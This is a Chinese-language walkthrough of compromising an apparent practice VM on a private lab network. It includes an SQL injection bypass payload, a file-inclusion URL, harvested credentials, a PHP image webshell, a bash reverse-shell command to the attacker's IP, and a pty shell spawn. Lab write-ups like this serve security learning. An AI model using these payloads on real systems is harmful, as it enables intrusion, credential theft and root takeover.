攻击机:kali ip:192.168.85.130
检查主机存活.发现192.168.85.140就是我们的目标主机了
查看目标主机开放的端口,发现开放了80端口和22端口,并且SSH为5.9版本,apache为2.2.22版本
访问80端口
这里提示SQLI,即可能存在sql注入
使用bp抓包,放入sqlmap中检测,报错。
使用一些模块进行绕过,也没有成功。例如:python2 sqlmap.py -r test.txt -v 3 --dbs mysql --batch --tamper space2hash.py
sqlmap检测失败,由于不知道是什么规则的过滤,先暂时放弃注入。
使用DirBuster进行目录爆破
发现了较多的目录,于是挨个查看。
在in.php中发现了phpinfo
在phpmy中发现了phpmyadmin
add.php中发现了文件上传,但是图片上传没用回显
访问test.php,提示’file’参数为空。 请在’file’参数中提供文件路径
这里猜测可能存在文件包含,于是构造参数。
http://192.168.85.140/test.php?file=etc/passwd/
发现get方法无法执行文件包含,于是尝试post方法,文件包含成功。passwd文件直接下载了下来
通过文件包含,于是可以将已经发现的文件目录下载下来,审计源码
通过审计源码,发现在sql处将'
换为了空并将un
和ps
进行了url解码。str_replace('\'','',urldecode($_POST['un'])),
,所以我们构造' or 1=1# \'
即可绕过。
登陆成功。
后在c.php中,发现了phpmyadmin的账号及密码。billu:b0x_billu
成功登陆。
在数据库的auto中获得了网站的账号密码,biLLu:hEx_it
于是网站一样登陆成功。
我们之前在用DirBuster爆破时,就已经发现了文件上传图片的目录http://192.168.85.140/uploaded_images/
,后我们只需要构造一句话木马上传,蚁剑连接即可。
在页面中发现了,文件上传的地方。且只允许png,jpg,gif文件
于是我们通过前面的文件包含,将panel.php下载下来审计源码
发现源码中又存在文件包含
所以只需要我们上传个包含木马的jpg文件,用post中的load包含图片地址,即可执行木马。
先上传个图片马,在16进制图片末尾添加<?php system($_GET['pas']); ?>
按如下构造,即可执行我们的木马·。
于是我们可以反弹shell
经过测试,echo "bash -i >& /dev/tcp/192.168.85.130/2333 0>&1" | bash
可以成功反弹shell
但是没有权限
于是我们进行提权,因为开始已经得到了,ect/passwd/
所以直接提权到root
但是我们发现su命令没法用
于是用python调用本地shell,来解决
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
但是有一个问题出现了我们不知道root的密码。
只能回过头从新看。去寻找密码。
后看了前辈的文章,才发现:
一般来说phpmyadmin的默认的配置文件是:config.inc.php
在linux主机的apach中猜测路径默认在/var/www/phpmy下面
所以这里我们可以用前面的test.php文件包含洞,将配置文件下下来。
从中发现了账号和密码。root:roottoor
另外还有种方法。
因为已经得到了账户密码,所以直接ssh连接服务器
直接得到root权限。
总结
1,要熟悉apache,nginx等的一些配置文件
2,使用DirBuster爆破文件时,可以多爆破下子目录
3,要多熟悉phpinfo的信息,多从phpinfo中发现问题